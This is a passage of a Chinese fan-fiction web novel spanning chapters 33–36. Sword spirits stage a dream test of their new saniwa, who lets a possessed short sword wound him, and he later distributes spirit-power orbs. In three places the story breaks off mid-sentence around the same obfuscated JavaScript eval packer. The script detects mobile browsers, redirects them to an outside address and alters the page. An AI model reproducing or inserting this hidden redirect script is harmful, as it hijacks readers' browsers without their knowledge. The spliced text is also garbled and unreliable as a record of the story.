这话显然让在座的付丧神们都是一愣。没有亲耳听见,这话的真实性有待考究,但不得不说,这个提议戳中了他们心中最深处那个点。 “如果他真的愿意配合——” 那他们的行动就能顺利很多。大和守安定低声喃喃。 三日月宗近也对一期一振带来的这个消息感到意外,他不得不承认,面对这样的话语,就算是他也会感到心动。 只可惜,今天的时机有些不巧…… 他捧着茶杯轻轻抿了一口,杯里水波荡漾,将头顶的灯光搅得零零碎碎。 身旁响起一声冷漠的问询:“你们真的就这样选择相信人类的话?” 屋内霎时静默,小狐丸用那双红眸扫过所有人,像是被什么东西刺激到,语气中的寒意越发重。 “巧言令色、花言巧语……他们惯会说这些话,来麻痹无知者的神经。”他的拳头握紧,有些颤抖,“交付信任得越是轻易,人类就越不放在眼里。没有人知道他们到底在打着什么算盘。” 加州清光皱了皱眉:“小狐丸殿——” “加州,就连你也想说愿意尝试信任他吗?”小狐丸看过去。 “……”加州清光摇摇头,“不,只是想请你冷静一下。” 大和守安定若有所思地看了好友一眼,很快帮腔:“没错,小狐丸殿,大家只是在讨论而已,这么重要的事,当然不会就这样决定。” 气氛有些僵硬,始终一言不发的药研藤四郎忽然说道:“既然大家都不好下判定,那么,我们不是正好有一个合适的试探机会吗?” 一期一振与弟弟对视一眼,迅速明白了他的意思:“你是说……” 他很快在脑子里过了一遍这个办法,随后冲大家肯定地点点头:“我觉得有可行性。” 话题切换,在这之后小狐丸都没再出声,似乎只要同伴们的立场不倾倒,他就没有任何意见。 这一场讨论持续时间不长,看见夜深了,大家敲定了最后的计划,很快散去。 在临出门之前,三日月宗近忽然叫住了一期一振。 他走过来,用只有两人能听见的声音问道:“一期殿刚进门时,烦恼的事情不止这一件吧?” 一期一振愣了下,随后无奈地笑笑:“被你猜中了。” 既已被人询问,他便不再隐瞒,一五一十说出了事情经过。在最后提到审神者的理论时,他的眉头紧蹙:“虽然的确不无道理,但是这样的选择……” “哦?哈哈哈哈哈,”三日月宗近听完,反而笑起来,“若是真如你所说,那咱们这位新审神者,可真是位妙人啊。” 这个评价完全出乎一期一振的预料。 他讶然抬头,对方却没有了下文,反而开始催促。 “夜深了,一期殿。让我们看看,今晚能得到怎样的成果吧?” 33.第33章 清水悠在自己的房间内醒来。 甫一坐起身,他便皱起眉头——精神似乎很疲累,头脑却很清醒,他甚至觉得自己从没这么清醒过。 他看了看房间的布局,一如既往昏暗无光,已经适应了黑暗的眼睛勉强给出屋内陈设的轮廓。 很安静。 少年在床上坐了一会儿,翻身下床,拉开房间的门,门外正站着一振准备摇铃的短刀。 清水悠低眸看他,五虎退深深埋着脑袋,一只小老虎也不在身边,忽然见到门开,他受惊一般狠狠打了个寒颤,声音细若蚊吟:“您……该起床了、审神者大人。” 清水悠一语不发,越过他朝外走,脚步轻至无声。 五虎退依然保持着有些惊慌失措的模样,却没跟上来。少年站在阳台遥遥往外一望便转身下楼,白发短刀被抛弃在黑暗的屋子角落,慢慢看不见踪影。 天守阁的结界如同一层脆弱泡泡的薄膜,若不提醒,无人能猜到这是一道重要的保护措施。清水悠从中穿过去,他的黑眸沉沉,无比清晰地意识到一件事。 这个世界不对劲。 或者说,他不对劲。 许是因为待的时间长了,原本模糊如雾蒙的记忆在这一次的睁眼之后变得清晰。 他清楚的意识到自己上一次失去意识之时正在向鹤丸国永提问,而对方还没有给予自己答案,他却已如同重来。 ——若不是近侍的不同,他或许真要以为自己陷入了什么轮回。 清水悠的确不想回到现实,他期盼死亡、想要解脱,但那并不是像这样不明不白地被困住。 所以,以现在的情况,他若想找到答案,首要目标就只有一个…… 因为谁转换场景,就去找谁。 他没精力思考,所以他要直接问问看。 想法很好,真正实施却在第一步就遭遇了挫折。清水悠转遍整个本丸,别说鹤丸国永,别的付丧神的踪影也一概没见到。 他越走眉头蹙得越紧,那种奇怪却又一点也想不起来的既视感让他陷入了前所未有的纠结。 最后他又回到了天守阁。 整个本丸安静到了一种死寂的地步,他觉得有点奇怪,但说不出奇怪在哪,只有直觉告诉他往回走。就像解密游戏迟迟找不到下一个线索,就不妨回最初的地点看看。 那道泡沫一般的结界好似分割开了两个世界,在外面寂寥空渺,踏入内部之后却能听见隐约的人声,让几乎以为自己来到了无人地而紧缩的心脏重新开始平稳跳动。 但只放松不到一秒,清水悠就立刻察觉出了问题。 这个声音…… 他一改慢悠悠散步一般的姿势,循声而往,三两步就到达了目的地。 手扶在墙上稳住自己的身体,清水悠抿唇看着眼前情景,黑眸愈深。 还在原来的位置,却不是原来的模样。被他留在天守阁内的五虎退身上黑雾疯涨,瘦小的少年跪在地上,一手颤抖着支撑自己,一手紧紧攥住胸前衣料,用力得几乎看不出血色。 那振本体短刀被随意丢弃一旁,伴随着时不时响起令人心惊肉跳的“咔嚓”声,本已经他手修补好的刀剑重新开始了碎裂。 似是注意到另一人的气息,五虎退艰难看过来,立刻便如同炸了毛的猫咪,瞳孔急剧收缩,看起来几乎不再像是人类。 “不要、别靠近我!” 他的声音依旧很小,听起来却像竭力的尖叫。 清水悠慢慢收回扶在墙壁上的手。他平复着一句奔跑而来剧烈的心跳,当真没再与五虎退对视,转而看向旁边一点的位置。 ——那振被五虎退洪水猛兽一般不愿靠近的短刀本体静静躺在地上。 清水悠迈开步子,朝那走去。 五虎退很快发现了他的目标,却不巧在这时胸口传来猛烈的疼痛,额角大滴大滴的汗水滚落,他整个人就像过了一遍水,再无力关注审神者的一举一动。 此时此刻,清水悠已经在短刀旁边停步。 他蹲下身子,摊开的掌心中迅速凝聚起一团温暖的光。若是有旁人在这里定会惊讶于他输出灵力的疯狂,他却全然不在乎的模样,试探性引导一丝灵力靠近短刀上的裂口与黑雾,再一点一点增量。 黑雾被交换进身体,裂口重新得到修复。 少年做这一切时面无表情,他往外输出灵力的举动近乎于一种机械性动作,一直到手中纯白无暇的灵力悄无声息染上了一缕黑色,在那抹黑重新靠近短刀之前,他及时收回了手。 灵力用完了,灌进体内的黑雾就会重新被输出。清水悠盯着自己的手,如同学术研究一般为自己给出结论,哪怕这结论毫无用处。 手下的短刀已经被修复完毕,变得完整如初,清水悠撑着膝盖慢慢站起身,打算回头看一下五虎退本人的状态,却还没来得及转身,眼前就忽然压下一道黑影,随即世界天旋地转。 “——呃!” 后背狠狠砸在地上,痛得他闷哼一声。 被生理性泪水模糊的视野里,五虎退摇摇晃晃站起身,看过来的目光中,依然是那抹压抑的红。 清水悠闭了闭眼。 黑暗的世界中,感官被放大,目前情形被尽职尽责还原在他的脑海里。 动物潮湿的鼻息洒在脸上,脆弱的脖颈被利爪制住,清水悠毫不怀疑只要他有一点动静,他的喉管就会被划破,让猩红的血液流出。 这情景是不是很荒谬?拯救没能换来感激,反而受益者做的第一件事就是背刺。 黑发少年安静躺在地上,神色却没有半点意外。 “审神者……抱、抱歉。”短刀低低的道歉声响起,却没有几分歉意。他语气中的恍惚与偏执在这安静的环境下显得尤为明显,“……这个本丸不需要一个审神者,你的存在只是一个定时炸弹。我只要…只要想起你的存在,就会感到害怕。” “为了让我、让大家安心,你乖乖死掉,好不好?” 诉说声平稳,甚至称得上平静,让清水悠想起一些独属于孩童的天真。 他想起五虎退那双红色的眼眸,和这个本丸的天空如出一辙的颜色。他又想起出门之后没有见过一个人,而他最后又回到了天守阁—— 原来如此。逼着他回来,他们想要的就是这个吗? 少年的喉结滚了滚,他没注意到老虎在喉咙起伏的一瞬间微妙地松了一分力道,缓缓睁开眼,仍旧看向那少见的、执着直视自己的五虎退。 “这就是你们想要的吗?”他问。 五虎退咬紧牙关,依然小兽一般盯着他,闭紧嘴不肯说话。 事实上,清水悠还有一个选择,那振短刀本体就在自己手边,他虽耗尽了灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916208|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,吸收走的黑雾却还存放在身体里。 只要趁其不备全然注入回短刀中,五虎退就将重新陷入刚才的境地,身为半身的老虎也会随着一同衰弱。 但他没有这么做。 在一人一虎警惕的视线中,他忽然抬起手,将手搭在虎爪上,然后猝不及防——用力往下按。 利爪刺破喉咙柔软的皮肤,少年闭上眼,神态里竟有一丝平静。 “如果这是你们想要的……” “请动手吧,别让我疼太久。” - 这场梦境被紧急停止。 所有暗中观察事态的付丧神都吓了一跳,鹤丸国永翻上二楼阳台,确认审神者的生命体征平稳,冒着风险趁夜离开了天守阁。 开会地点一如既往在粟田口的大厅,这大概是间隔最短的两次会议,四处散乱着的跪垫都还没来得及收拾,便又迎来了使用者。 所有人坐在屋子里,反常的寂静。 照理说,他们最应先关注的应该是此番测试的结果,事实上这类测试对他们来说也实属陌生,整个过程仅凭直觉定下了行动的计划。 人们总说人性是经不起试探的,可这个特殊的职位独独需要一个反复试探却不出差错的人。 显而易见,他们运气不错,得到了完美的结局。 然而跳出这个问题之后……却又有更多问题出现。 “……”沉默许久,不知哪个付丧神沙哑出声,“他的反应……” 大和守安定马尾睡乱了,没有时间重新仔细地扎好,随意梳理两下便急匆匆地来了,此刻坐在属于自己的座位上,像只炸毛小狗一样有点萎靡不振,“那个孩子和咱们现在的审神者真的是同一个人吗?” 是同一个人吗? 这大概是在场付丧神心中都出现的问题。 实在不怪他们疑惑,现实中的审神者温和、有边界感、游刃有余。而那个梦中的少年阴沉、偏执,透着浓郁的一股死气。 他们几乎不敢想象,本该处于最天真阳光的年纪,为什么有人能将自己活成那个模样。 如果不是同一人反倒能说通,还能解释记忆不通的问题,有理有据。 “虽然我也有些不能理解,但是那个孩子的确是他。”一期一振不得不亲自推翻这荒谬的猜想,“我同他去现世时确认过了,黑发黑眸,能对应上。” ……况且这个本丸就这么些人,若不是他,梦境还能抓取到谁? 所有人脑中思绪混乱,一直埋着头的五虎退不停绞着手指,他与众人所担忧的不是同一件事,却要更加惴惴不安。 他鼓起勇气,向鹤丸国永询问:“鹤、鹤丸殿,审神者大人他……没事吗?” 鹤丸国永自来了这里就有些魂不守舍,此刻听见自己的名字都慢了一拍才回应。 他抬眸,金眸里还涌动着一些不知名的情绪,却很快被他压下去,从脑海中翻找出对方想要的答案。 “他?……啊,没事的。梦境本就极少能影响到现实,要我说,你们是不是有些太紧张了?” 三日月宗近闻言挑了挑眉,多看了鹤丸国永一眼。 “不、不对!”出乎众人所料的事,听了这话,五虎退有些惊恐地甩了甩脑袋,情绪激动。 “我当时真的感觉,如果他在那里死去,他就会真的彻底死掉!” 34.第34章 此话一出,不少人都皱起眉头,连三日月宗近也收回自己意味深长的目光看过去。 尽管付丧神与梦这个词相差较远,但出于常识也该知道,就算人在梦里反复死亡,也绝不会影响现实的情况。 梦就是梦,是精神层面的一种模拟,是一种脑活动,同平时的yy幻想可以分作同一类别的东西。 梦怎么可能影响现实? 然而五虎退也说不出个所以然来,他惶惶不安地又低下头,在得知了审神者无恙之后,便只剩下无边的内疚。 他同意配合大家演这一出戏,却从未想过要真正伤害到谁。 药研藤四郎拍了拍他的背,说不出什么劝慰的话。事情变成这样他也感到自责,是他基于对那个少年审神者的错误了解制定了错误计划,也幸亏没真出什么事,否则他绝不会原谅自己。 “不管怎样,诸位,我们已经得到了满意的答案,意外出现的事故最终也只是虚惊一场。”三日月宗近旁观得差不多了,主动开口缓和气氛,“既然这样,那位审神者提出的建议——我们是否也可以进一步进行商讨?” - 鹤丸国永赶在清水悠平时起床时间之前偷偷溜回了近侍房。 回去的路上他十分心惊胆战,作为与这位审神者相处时间最长的人,他比谁都清楚清水悠的灵力敏感度,可以一点都不费劲地感知到他们的动向。 远了或许还少关注,但他几乎是在对方眼皮子底下窜来窜去,不得不说,这种感觉还真是有点刺激。 一路有惊无险,直到鹤丸国永回到房间内,楼上也没传出什么动静。 这让他稍稍松了口气,他们最后讨论出的结果是,可以进一步接触了解看看,信与不信都要在切实考察之后才能决定,也就是说目前为试探阶段,有关于梦境的事情是绝不能暴露的。 审神者没有发现他偷溜出去是好事,否则总是在欺骗,他也会觉得有点违背良心了。 此时的鹤丸国永尚在庆幸,然而等到时间一分一秒过去,一直到距离审神者平时开门的时间已经过去了半个小时,他便忍不住皱起眉头。 “他的作息向来很准时……不会真出什么问题了吧?” 内番一如既往是昨晚就布置好,但是审神者这边情况不对,他也就没什么空去分配下去。 皱了皱眉,迈步走上二楼,在距离房门这么近的地方,依然听不见里面传来什么动静,鹤丸国永摇了摇铃,“是我。” 或许是因为梦里的意外或者睡过头了?又或者…… 没等他想完,门竟然很快打开了。 审神者甚至在开了门之后都没有搭理他一下的意思,匆匆又回到桌旁。鹤丸国永一瞬间有些汗流浃背的想他该不会已经什么都知道了,不过下一秒,清水悠就对他招招手,“来,记得把门关好。” 鹤丸国永疑惑地照做,过去后才发现,审神者面前的桌上正摆放着一个眼熟的小盒子,内里满满当当铺满了一层灵力球! “这是——” 清水悠打断了他的话,目光湛湛,“鹤丸,现在再来看看我体内的灵力流动。” 话音未落,他便再次凝聚出一颗小球来。鹤丸国永专注看着,那双因所看之物泛着异芒的眼睛慢慢睁大。 那些他曾断言与灵力不是同一种物质的能量,在清水悠调动之时竟真的运转起来。它们以一种恒定的频率向外输出,在脱离清水悠手的那一刻,彻底转化为可用的灵力。 清水悠把刚凝聚而成的小球递给他:“要试试吗?” 鹤丸国永毫不犹豫。 原本还怀疑也有可能只是一个障眼法,但当灵力流入体内那一刻,所有怀疑都如烟消散。 毫无疑问,这是他显现以来所接触过的最为精纯的能力——比清水悠原本的还要强大。 清水悠始终看着鹤丸国永的反应,在看见那颗灵力球彻底消失、对方也没发出质疑之声时,他就清楚了答案。 尽管如此,他依然等待着对方给出评价,而鹤丸国永沉默片刻,却是好奇问道:“你今天一直没出门就是在做这个?昨天还毫无头绪呢。” 清水悠一愣,对方这一提,他才注意到时间,懊恼地皱了皱眉:“是我的错,我忘了时间。” 一抬头看见鹤丸国永仍好奇的看着自己,他想了想:“唔,一定要说的话,应该是意外之喜?” “早上醒来的时候头晕脑胀的,大概是昨天走多了路。真奇怪,我还以为现在已经不会有这个问题了,难道身体状况其实只是定格在那一瞬间了?……总之,因为身体不适,灵力就自发启动填补空虚,那时候我就发现,那一部分我没办法取用的能量也跟着自发运转起来了。” 他的视线落到那一盒灵力球上:“一时在意忙着尝试,没想到耽搁到了现在。” 时间也不早了,清水悠将盒子整个拿给鹤丸国永:“正好你还没去,把这些分给要出门的人吧。” 鹤丸国永一愣:“全部?” 清水悠比他更疑惑:“是啊?” “……啊、我没有质疑的意思,但是我想,大家应该用不上这么多……” “没关系,”清水悠满不在乎,“用不上拿来打弹珠玩也行。之后我会每天都给大家准备好相同的分量的,每天早上……不,每晚来我这里拿吧。” 这堪称奢侈的话震得鹤丸国永久久失语。他想说些什么,可是看看清水悠体内那完全没有损耗痕迹的能量源又说不出话。 按理来说,像这种不明情况的能量,还是应该劝他少使用为妙,可鹤丸国永接过盒子,点了点头,便出去了。 转身那一瞬间,他眼中浮现出一种深思。 - “你、你是说——” 烛台切光忠抖着手,眼睛眨也不眨地盯着鹤丸国永将五颗灵力球放到手中。手掌与球体相接触的那一刹那,他的手瞬间稳如泰山。 “嗯嗯~他给你们的。是一个很不错的惊喜吧?”鹤丸国永笑着道。 烛台切光忠稳稳捧着灵力球,思考了一下对方话里的意思,顿时急切道:“这怎么行!远征没有什么耗灵力的地方,大家用不上这么多!大人他是不是还要给出阵的人准备?直接从我们这边分出四颗过去吧,叫他别忙活了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938152|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “别激动、别激动,”鹤丸国永摊了摊手,“你想什么呢?当然不是给你们六个人准备的。” 烛台切光忠停住嘴,脸上浮现疑惑。 “——是给你一个人准备的哦。他给要出门的每个人都准备了同样的分量,并且之后每天都会像这样发放。算是……每日福利一类的东西?” 烛台切光忠:“……” 烛台切光忠:“…………” 他保持着双手捧钢珠的动作,嘴巴微张,整个人呆住了。 达到了满意的惊吓效果,鹤丸国永眯着眼笑起来,心说今天要解释多少次都值了,正准备表示自己要去下一个人那儿了,隔壁的门就忽然打开。 压切长谷部面色沉沉的看着他们——或者说是看着他们手中的灵力球。确认那东西有着货真价实的灵力波动之后,他抿紧双唇,拔腿就朝天守阁跑去,只一眨眼,鹤丸国永就不再能看见他的身影。 被这突发状况弄得有些摸不着头脑,鹤丸国永纳闷着,烛台切光忠已经回过神来。他深深凝望着手中灵珠,低低叹一口气。 “长谷部……不怪他那个反应,也不怪你不知情,你来的时候主公毕竟已经不在了。”他轻轻合起手掌,将它们珍而重之地收起,“主公是个灵力很弱的人,他的灵力弱小到仅仅只是对重伤太刀进行一次手入,他的灵雾就会稀薄变浅,露出一副随时可能消散的模样。” “所以那时候大家都很注意自己的安全,争取自己的伤势都能在手入室中自己解决就好,能不麻烦他一定不麻烦他。” “可惜现在……”烛台切光忠想起那些自己已看不懂的同伴们,眸光黯淡下来,“现在怎么变成了这样呢?” 鹤丸国永真是头一次听这回事,金眸微微瞪大:“是这样?可是他唤醒我的时候明明——” “明明很强大对不对?” 烛台切光忠笑了笑,“大家刚来的时候都这么想,但亲眼见过之后都明白每位刀剑付丧神显现的时候或许才是异常情况了。也没人搞得清是怎么回事,唯一的猜测就是那是因为对我们诞生的期待而与灵力融合产生的错觉。” 说起那位他们深爱的主人,烛台切光忠眉眼间的锋利变得柔软些许。他对鹤丸国永叹道:“鹤先生,如果可以,还请您劝他别这么透支自己了,要是出了什么意外……这种事大家一定不愿意见到。” 鹤丸国永从惊愕中回过神来,他反应了一下对方的意思,摇摇头:“不,这个你倒是误会他了。放心吧,做这些对他来说不过举手之劳,远远达不到透支的地步——我亲眼看着他做的,这种时候我的话应该还是值得信任的吧?” “……”烛台切光忠怔愣一瞬,“是这样吗?” “相信我吧。”鹤丸国永点头。他以为这下对方便能够放下心,可没想到烛台切光忠的神色变了变,最后成为一种更为复杂的情绪。 “即便如此,你我也都知晓大家绝对用不上这么多,更别说如你所说,他还表示要每天都为大家制作。” “所以,那位大人难道是……这么早就已经在做他离开的准备了吗?” 35.第35章 准备足够多的备用灵力球,这样听起来确实很像在为什么东西作打算。 然而鹤丸国永仅仅只是思考了一下,就坚定地摇头:“我不这么想。” 这么说着,他却没有解释原因,只弯起眼笑了笑:“总而言之,先放下心来怎么样?” 剩下没有说出口的话语是,你有点太紧张了哦。烛台切光忠听懂了他的未尽之语,也知晓自己状态不对,深吸一口气,“抱歉,我的问题,之后会注意的。” “也没有这么严重~”鹤丸国永轻快地摆了摆手,看了眼时间,便道别去往下一个付丧神的所在方向。 他的衣摆随着风起伏,像雪白的羽翅微微扇动,即将展翅高飞。 烛台切光忠一直觉得他们几个人中,鹤先生永远是最稳定的那个。他有足够长久的经历,却没养成捉摸不透的性子,若环境良好他就会欢快一些,环境压抑如同他们的本丸,他就收敛爱玩的性子,变得稳重。 上千年的岁月让他的内核十分强大,烛台切光忠有时候觉得,在这样每个人都不太对劲、似乎随时都要分崩离析的本丸,只要看见那抹白色的身影站在那里,就会感到安心。 好像只要鹤的洁白还倒映在眼底,那向往自由的太刀还安心停留原地。 一切就都还有转机。 - 清水悠解决了自己的早饭之后,正要回到天守阁,一出门就遇上了满脸不安的小短刀。 五虎退见到他出来似乎更紧张了,五只小老虎规规矩矩蹲在他脚底,探头探脑好奇地望过来,却不知来前半身究竟叮嘱了怎样的话语,竟然每一只都只乖巧地探着脑袋,身体却是一动不动。 清水悠脚步一顿:“怎么了?退。有什么事吗?” 粟田口的成员主动来找自己,还是最社恐的那一位,这真是少见的情形。 “——!我、我想来给大人帮帮忙!”五虎退一惊,噔噔噔地后退三步,却又眼一闭努力说出了自己的话,也不知是什么原因在支使着他。 清水悠挑了挑眉。 这倒真是一个有点新奇的提议…… 实话讲,他不清楚别的本丸是什么样,不过自他来了以后就自力更生,最大的感觉就是和安居小小一隅没有区别,还真想不出自己有什么忙需要帮的。 不过他既然主动接近,自己肯定也不会拒绝。正要说什么的时候,通讯器忽然响了一声,清水悠动作一顿,抬手示意了一下,首先查看信息。 这个时间点的话,如他所料,是乱的那件事出结果了。事态紧急,那里的时间流速又快,解决得慢了他才要觉得奇怪。 看见发来的消息,他眼中便沁出一丝笑意。在设备上选择了一下打印,通讯器慢慢吐出一张纸来。 “正好,现在就有一个忙需要你帮。”他把那张纸递出去,“把这个交给一期殿吧,拜托了。” 五虎退眨了眨眼,乖巧地没有看纸上哪怕一个字的内容,一点疑问也没有的照办。 清水悠则站在原地思考了会儿。按理来讲,他昨天才提出合作可能性,当时没有等待对方的回复,现在应该去问问看想法才对。 不过他又深知要给人留考虑与思考的空间,俗话说,表白时要你趁着头脑发热立刻答应还叫你千万不要思考的一定不是什么好人,他想要达成的合作虽与亲密关系没有什么联系,交心的重要性却比那更重要。 这样的想法事实上有点奇怪,他总是习惯性用伪装的自己去当做破局点,却又希望对方能因为真实的自己而选择相信。 这很矛盾,但清水悠在这种事情上有时意外的迟钝。 或许哪怕有别的方法存在,也会被他潜意识忽视。多年养成的习惯没有那么容易撼动。 更不用说是从未意识到呢? …… 短刀脚程很快,在清水悠步行回天守阁之前他就已经跑完了来回一趟。 彼时清水悠正站在树荫下与鹤丸国永交谈。 倒也没有别的事,只不过是清水悠有点小在意的一点。 “说起来,好像最近都没见过狐之助。” 准确的说,是从那次让他去睡觉之后就没再见到过。 清水悠问:“他是去做什么了吗?” 鹤丸国永刚刚满本丸飘的送完快递回来,衣袖上还沾染着些许风中青草的气息。闻言,他托着下巴想了想:“唔……或许是有自己的事要去做?” 说了等于没说。 清水悠沉默片刻,猜测这家伙多半是知道些什么,只是不愿意告诉自己,便也不问了。 小短刀在这时快速跑了过来:“审、审神者大人!我回来了。” 鹤丸国永先一步看过去,唇角好像出现一丝笑意。在清水悠反应过来之前,他便轻轻一跃跳到了树枝上,“看来今天你不需要我了?既然如此,我也可以稍微放个假吧?” 没等清水悠点头,白影消失在眼前。 鹤飞走了。 五虎退在清水悠面前停下,好似对刚离开的人无所察觉,一双眼干净而认真地看过来。 清水悠看着眼前熟悉的配色,有一瞬间差点以为是同色相斥,某人才跑得那么快。 他很快甩掉这个奇怪的念头,通讯器却在这时又响了起来。 ……啊,这种情况也似曾相识。 他对五虎退抱歉地笑了笑,一时有些想不起还有谁会给自己发通讯。不过打开一看之后,脸色就变得严肃起来,立刻转身走出去两步,又想起了什么,回头对五虎退说:“我现在可能要去处理一个比较麻烦的情况,抱歉,退,如果你想跟来的话可以来,但是我在解决完之前,大概都不太能顾得上你。” 五虎退一愣,随即狠狠摇头:“没关系!我本来就是来帮忙的呀?” 清水悠便不再说什么。 他快速来到来派两人的门前,或许因为只是在找到萤丸之前暂住的原因,也可能单纯因为这个本丸氛围诡异,总之他们很少出门,大部分时间都缩在屋里。 “国行,国俊。”他敲了敲门,“有萤丸的消息了。” 匆忙的脚步声响起,门唰的一声打开。 一大一小两振刀眼巴巴地望着自己,让清水悠几乎有些不愿说出接下来的话,但他咬了咬腮帮的软肉,还是道:“好消息是,他还在你们的本丸中,没有遗失。坏消息是……” 不等两人脸上松了口气一般的神情消散,清水悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954700|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便快刀斩乱麻般迅速说完了所有信息。 “坏消息是,他对你们的审神者动了手。” ——在执法队赶到的时候。 爱染国俊呆了一呆,用了好几秒才消化掉这个消息:“什么、那——” 清水悠面色凝重地摇头:“被抓现行实在是没办法解释,恐怕惩罚是免不了了。” 规则总是一种冷漠而不近人情的东西。哪怕那人确实抛弃了来派的刀剑,但她还没有对萤丸造成伤害,他就是不能动手。 恐怕在行动之前,萤丸就做好了心理准备。 爱染国俊张了张嘴,像是有些无措。在他的想法中,怎么也不该是这样,他央求一般地提问:“那……惩罚是什么?严重吗?” 清水悠回忆着通讯上的内容,摇了摇头。 因为搜集到那位审神者的罪证在先,再加上被其他付丧神们拦着,其实并没导致她立刻殒命,不过是需要在重症监护室待一段时间的程度。 就像先前所说的,规则是一种冷漠无情的东西,而在时政看来只要没死就不算情况严重。所以也可以说是情有可原,不必投刀解池,别的麻烦却免不了。 “针对这一类的情况,时政有专门的惩罚措施,”清水悠说道,“因为对审神者动过手,一是凶性难辨,二是大部分审神者会因为忌惮这件事而不愿意接收这振刀剑,所以说是惩罚,其实更类似于他们需要通过一个考验。” “大阪城的地下再过两天就要开启调查了,他需要在调查开启之后,想办法完成积累十万小判的任务,在这期间时政不会提供任何帮助。” 也就是说,他需要自己努力凑成一个队伍,再想办法获取审神者的灵力支持——证明了自己还能与别的付丧神正常相处,还有能够获取审神者信任的能力,他才能被允许结束刑罚,拥有进入新的本丸的机会。 清水悠不知道该怎么评价,某种意义上来说,这种考验大概是合理的,但从受害者家属的角度来看,他只能说难度有点太大了。 大阪城开启,所有审神者都会自己送出一队最强的队伍去挖地,灵力支援自然也都专注倾斜于那一队的出阵与手入上。 这种时候要让他们匀出资源来帮助素不相识、甚至有弑主可能性的刀剑,比平时还要更加艰难。 还有组队的问题,虽然一起接受惩罚的刀剑们天然就是同一阵营,但也有个先来后到之分。 还有两天就开始考验,萤丸去的时间已经算得上迟。这种时候恐怕其他人都基本组好了队伍,再加上来派内部比其他刀派更加亲密,同时对外却多少要显得疏离,这让他获得帮助的可能性大大降低。 清水悠有点走神地分析着,脑子里已经开始下意识为他规划接下来的路。 灵力支持他可以提供,他不缺这点灵力。不出意外的话,他能给到的灵力量应该是最多的一个,或许可以利用这点来试试招聘队友…… 就在这时,从开了门之后就一直沉默立在原地的明石国行忽然抬了抬眼,镜片后的瑰丽眼眸中情绪全被遮挡,他的嘴唇动了动,声音还有几分沙哑。 “谢谢你这些天的收留,审神者大人。” “我们得去帮他了。” 36.第36章 语气依然惯性的带有他那种独特的调子,尾音却往下落,成为一种无可反驳的陈述句。 清水悠当然不会反驳他,他的思路被打断,与明石国行对视,又很快顺着他提出的可能性继续往下思考。 “这个应当是可以的,灵力的事情就交给我,资源我也可以由我个人为你们提供。这样的话就只剩下三人,让我想想……” “那、那个!”一直在旁安静听着的五虎退忽然说道,“虽然我不太明白……但是审神者大人、是需要帮忙吗?也许、也许我可以……” 他说得磕磕绊绊,话里的意思倒是很明显。 现在凑人就是最麻烦的一件事,如果他们愿意帮忙真是再好不过,爱染国俊的眼神相当明显的亮了一亮。 明石国行却没表态,他看了一眼白发短刀,又将视线挪回清水悠身上,安静等待这个本丸的审神者定夺。 他们之间的情况复杂,或许这次付丧神们主动提出愿意帮忙是一个增加相处时间、培养感情的好机会,对于自己来说也算双赢。 但是对于那一边的家伙们来说,大概不会这么想吧? 清水悠差点忘了五虎退还跟在后面。他被短刀提出的建议弄得一愣,脑子里的计划自动跟随这个可能排列组合得出最佳的方案,可以说如果他们愿意帮忙可以解决当前大部分难题。 但清水悠思考片刻,却摇了摇头,“谢谢,退,好意我心领了。” 他对上短刀困惑的视线,声音不自主放轻:“你们现在没有承认我的身份,没错吧?我说这话不是想要指责,我尊重你们的一切选择。但是在这个基础上,除了给你们提供灵力、生活在同一片天空下,我们之间基本没有任何关系。” “所以不要‘因为我’而做出选择,”清水悠摸了摸他头上那只小老虎的脑袋,小虎还没来得及警惕就舒服得眼睛眯起,“这种情况下的付出只会成为代价,就当我自私也好,我害怕这种不稳定的代价会在某些时候忽然变质,造成不好的结果。” 五虎退听得迷迷糊糊,似懂非懂。他努力从这段话里提出一些关键信息:“也就是说,如果是因为想要帮助他们才做出选择,大人就不会拒绝了?” 清水悠笑起来:“这样的情况下,你应该询问的对象就不再是我了。” 这次五虎退很快明白了他的意思。 他很少出门,与这一大一小两振刀剑基本没什么交集,一开口就忍不住结结巴巴。但短刀的眼眸金灿灿的,即便如此,也认真向两人表达了自己的想法。 “……我能看出来,你们一定很想念那位同伴吧?如果是一期哥遇到这样的事的话、我也会很着急的……所以,拜、拜托了!请让我帮忙!” 爱染国俊几乎是瞬移到他身边,单手叉腰重重拍了拍他的肩:“应该是我们说拜托才对啊!” “诶…?”五虎退下意识道,“对不起!” “不是要你道歉啦!” 交谈之间,氛围很快变得融洽了许多。五虎退清楚人手依然不足,没有逗留多久,表示会回去问问大家有没有人愿意帮忙。 